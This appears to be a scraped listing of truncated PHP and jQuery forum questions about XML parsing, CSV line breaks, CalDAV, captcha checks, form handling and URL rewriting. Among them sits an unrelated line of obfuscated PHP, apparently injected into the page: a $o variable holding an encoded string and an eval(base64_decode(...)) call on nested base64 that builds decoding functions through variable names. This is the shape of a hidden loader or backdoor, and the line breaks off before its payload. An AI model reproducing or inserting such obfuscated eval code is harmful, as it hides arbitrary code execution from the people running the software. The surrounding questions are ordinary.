I need to query an xml document and then display specific tag values, e.g. forename, surname, group(dept), job_title.
I'm using XMLReader as i may need to work with large XML files. I using DomXPath to filter the data, but i don't know how to retrieve the nodeName and value for each element. The code below only returns 'member' as the...
I generate csv files with fputcsv and it works just fine, but when I view the csv file in Notepad (Windows) there is no new lines. All lines are in just 1 line, and where the linebreak is supposed to be, there is a sqaure (corrupted character). Other editors on Mac for example show the lines with breaks correctly.
Is there any way to fi...
I'm using a new no-name framework that I'm not completely familiar with and I'm hung up on how I will add dynamic content from the database in this environment.
In the index controller, I'm forced to have an index function that answers all requests for index.html. If I wanted to create a second page dynamically from a data source, how d...
Dear All,
I am relatively new to php. I have the following problem.
Suppose I have a page with
a form with two fields x, y and two buttons: submit and clear;
a table that shows the db records for x, y with two buttons, edit and delete
when I enter values in the form fields and press button, submit inserts the data in the db; data is ...
Hello,
I want to increment the value of i . The "for" loop does not work.
$("a[href$='.xls']").appendTo(".xl1").attr('id','xl'+i);
I search all excel files and places them in a container and increment the value of their id.
Thanks
Jean
...
Ok, so I'm the author of a CMS and I'm interested in building a CalDAV-server that enables the user to interface with my CMS through CalDAV instead of only through the web, so they can see their calendars, add todos and things like that.
I've looked at http://www.davical.org/ which is a CalDAV service built in PHP, but it has its own da...
Hi,
I have an array which has the contents as the result of an sql query.
I have been able to convert them into a CSV as well in the below format
2; Testing; IPTV; 9886784; 50061; 28/2/10 09:30:01 AM;
3; Testing; IPTV; 9886784; 50061; 1/3/10 09:30:01 AM;
4; Testing; IPTV; 9886784; 50061; 2/3/10 09:30:01 AM;
5; Testing; IPTV; 9886784; ...
$o="QAAAOzh3b3cnYGJzWG9iZmNidQAgLy48Jzg5Cg0KDQGjbmlka3IAAGNiJy9TQkpXS0ZTQldGU08ABScpJyAoYGZra2J1fikEACADXIQABPFhaGhzBPU=";
eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCg...
Hi,
i am using a Form where i am having a textbox which on submit i am retriving the value of the text box and sending it to a file which gets the value and using it to fetch the records..
in my javascript i gave like
<script language="javascript" type="text/javascript">
function check()
{
var title=document.g...
Hi,
I am fetching the datas from the database...And the datas are displayed as dropdownmenu but the css is not applied
<ul id="nav">
<?php
$res=mysql_query("SELECT * FROM menu WHERE PARENT_ID=0");
while($row=mysql_fetch_array($res))
{
echo "<li class='top'><a href='#' class='top_link'>".$row['MENU_NAME']."...
what are some good tag Cloud logic that you had come up with? like fontsize = factor * percentageOfOccurance ....
...
This is driving me completely and utterly nuts... Basically I have a PDF form generated by TCPDF and want to set the user rights (using setUserRights) for that PDF so that users can save the form with the data they inputted. The TCPDF manual isn't really helpful at this particular point and states that you need a "signing certificate" to...
Am I really restricted by programming languages? I can imagine that, to use Bonjour, I need to have special libraries which could be not available for any language. So, then I need to use those languages which have corresponding libraries. As the second option, I can imagine, that Bonjour provide an interface which can be used almost by ...
Hello,
I have div in which I have added 5 files, using appendTo, Now I want to get the src of all these files. How do I go about getting it using jQuery. can I use .get()?
Thanks
Jean
[edit]
<div id="some">
<img src="jquery_book.jpg"><a href="jquery.pdf">JQuery Book</a>
</div>
I need src and href.
...
I'm working on the back-end of my website and I'm wondering how far I should be going to test for errors and throwing exceptions accordingly? Testing in the sense of improper usage of methods and functions. Not errors under correct usage.
My biggest concern is code bloat and uglying it up with a bunch of if/elses, type checks, and other...
I like how this works in Zend Framework. I can know which environment I'm currently using by checking APPLICATION_ENV constant in my controller.
<VirtualHost *:80>
#ServerName
#DocumentRoot
SetEnv APPLICATION_ENV "development"
# Directory
</VirtualHost>
But unfortunately I can't use ZF in my current project. Ho...
Hi, i have a little problem with captcha validation using php and ajax.
this is the php validation:
if(trim($code) == '') {
$error_captcha = '<p class="error">some empty error....</p>';
$errorc = 'error';
$error = $erdiv;
} else if (trim($code) != ''){
require_once ('securimage.php');
$captcha = new Securimage();
$valid = $captcha->c...
CAn anyone tell me is it is possible to display the files in computer using a tree view in php? It should be fast enough to display either in jQuery or anyother method that gives speed.
...
i m using a form containing a button type shown below
<form method="post" action="">
<button type=submit value="hello" name="submitform">World</button>
</form>
here button type show different behavior on different browser
now print_r($_POST) display
Array
(
[submitform] => World
)
In IE(v 7.0)
whereas
Array
(
[submitf...
How do I rewrite this rule to redirect everything back to the index or server_root?
If there is a request for say, www.site.com/articles/some-article.php, the somearticle.php should be re-routed back to the index page. I also don't want to have the url showing the "index" portion of the URL. site.com/index is where everything should be ...